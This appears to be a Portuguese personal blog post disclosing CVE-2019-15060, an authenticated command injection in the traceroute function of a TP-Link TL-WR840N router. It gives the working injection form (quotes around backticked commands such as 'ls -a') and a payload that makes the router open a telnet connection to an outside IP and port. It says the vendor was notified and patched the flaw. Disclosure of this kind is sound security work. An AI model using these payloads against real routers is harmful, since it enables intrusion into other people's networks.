Hello friendsons :)

Depois de passar um tempo sem mexer aqui no blog, trago a vocês um post que irá falar sobre a minha primeira CVE \o/, que possui o número CVE-2019-15060.

Pra quem não conhece, CVE é um acrônomo para Common Vulnerabilities and Explosures que nada mais é do que uma lista de entradas, cada uma contendo um número de identificação, descrição e pelo menos uma referência pública para vulnerabilidades de segurança publicamente conhecidas. [Thanks Mitre :)]

Resumindo, CVE é um número que identifica uma vulnerabilidade expecífica, em um software específico.

Bom, para iniciar falarei um pouco sobre qual vulnerabilidade foi encontrada, qual o dispositivo afetado por ela e qual o vendor do dispositivo :)

Vulnerabilidade: Authenticated Remote Code Execution
Dispositivo: Router TL-WR840N
Vendor: TP-Link

Vulnerabilidade


A vulnerabilidade encontrada foi uma vulnerabilidade que me permitia executar comandos remotamente no roteador, mas para isso eu deveria estar autenticado na página web do router.

Enquanto eu estava testando algumas funcionalidades do router (estava sem internet na hora :p), percebi que havia um menu que me chamou atenção: Ferramentas de Sistema (ou coisa do tipo) onde ela possui 2 funções em específico: ping e traceroute.

Decidi testar primeiramente a função de ping em busca de chegar ao meu objetivo: executar comandos dentro do roteador. Fui enviando payloads e até então sem sucesso.

Foi aí que decidi testar a função de traceroute... Comecei injetando alguns caracteres como: ' " & | ; ` e sempre recebia erros (alguns desses erros eu só consegui entender posteriormente).

Ao perceber que ao inserir " " eu não recebia erro, fui inserindo alguns comandos (ls, mkdir, whoami, $SHELL) e eu voltei a receber erros novamente.

Ao juntar as " " com ` ` e algum comando ("`ls -a`"), ele realizava a requisição normalmente, não retornava erro e também não me retornava nada na interface do router...

Mas, ao olhar as respostas das requisições pela aba Network do DevTools, vi que meu objetivo tinha sido realizado... OS COMANDOS ESTAVAM SENDO EXECUTADOS NO ROTEADOR:


Depois disso, tentei receber conexão reversa, mas não obtive sucesso... Mas a conexão era feita ao enviar como payload "`telnet IP PORT`":



EDIT1:
Irei deixar um vídeo de demonstração que gravei mostrando os 2 comandos falados anteriormente sendo executados.

Dispositivo


Como já falei, o dispositivo onde encontrei essa vulnerabilidade foi o Router TL-WR840N da TP-Link, o meu está com as seguintes configurações:

Versão de Firmware: 0.9.1 3.16 v004c. 1 Build 170912 Rel. 39609n
Versão de Hardware: TL-WR840N v4 00000004

Deixarei também uma imagem do nosso abiguinho :)

Para encerrar, quero deixar claro que a TP-Link já foi reportada sobre a vulnerabilidade, foram bem atenciosos e rápidos para correção.

Já estou com o novo Firmware e irei testar assim que possível.

Agradeço a todos que chegaram até o final vocês são d+ :)

Compartilha aí pra ajudar :)


Valeu!!!